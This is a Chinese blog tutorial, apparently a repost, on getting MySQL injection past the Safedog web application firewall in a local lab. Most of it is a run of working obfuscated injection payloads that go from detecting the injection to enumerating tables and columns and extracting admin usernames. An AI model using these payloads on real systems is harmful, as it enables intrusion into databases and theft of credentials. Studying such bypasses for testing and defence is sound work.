从0开始ByPass之Mysql注入篇

admin 2025年1月3日14:00:46评论15 views字数 1005阅读3分21秒阅读模式

前言

在做项目中遇到各种各样waf,跟着本文系列一起学习bypass

安装

环境:win+PHPstudy+安全狗

过程

安装phpstudy需要以系统模式启动,否则安全狗无法识别安装防护插件。

从0开始ByPass之Mysql注入篇

从0开始ByPass之Mysql注入篇

进入主题

  1. 判断注入:

and 1=1 拦截

and -1=-1拦截

and /*/ /-- /*/1=1 不拦截

从0开始ByPass之Mysql注入篇

2.order by:

order by 1 拦截

从0开始ByPass之Mysql注入篇

order/*//*/ by 1 不拦截

从0开始ByPass之Mysql注入篇

3.联合查询

and 1=2 union select 拦截

从0开始ByPass之Mysql注入篇

注释+换行符绕过

 and /*/%0A*a*/1=2 union/*/ /-- /*/select 1,2 不拦截

从0开始ByPass之Mysql注入篇

4.爆库:

and /*/%0A*a*/1=2 union/*/ /-- /*/select%201,database() 拦截

and /*/%0A*a*/1=2 union/*/ /-- /*/select%201,database/*/ /-- /*/()不拦截

从0开始ByPass之Mysql注入篇

5.爆表:

用以上方法bypass绕过

/*!and*/ /*/%0A*a*/1=2 /**//**/union/*/ /-- /*/ /*/%0A*a*/select 1,table_name /*!from--/*information_schema.tables*/ /*//*/where table_schema=/*!database*//*/ /-- /*/() limit 0,1 不拦截

从0开始ByPass之Mysql注入篇

5.获取列名

%20/*!and*/%20/*/%0A*a*/1=2%20/**//**/union/*/%20/--%20/*/%20/*/%0A*a*/select%201,column_name%20/*!from--%0F/*%0Ainformation_schema.columns*/%20/*//*/where%20table_schema=/*!database*//*/%20/--%20/*/()%20limit%200,1 不拦截

从0开始ByPass之Mysql注入篇

6.获取字段:

union/*/%20/--%20/*/select%201,/*!username*/%20/*//*!--+*/from%20admin%20limit%201,1

从0开始ByPass之Mysql注入篇

总结

手法采用了大量注释+换行来达到bypass效果。

如文中有误请不吝指正

参考文献

https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI

原文始发于微信公众号(刑天攻防实验室):从0开始ByPass之Mysql注入篇

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月3日14:00:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从0开始ByPass之Mysql注入篇https://cn-sec.com/archives/1864515.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息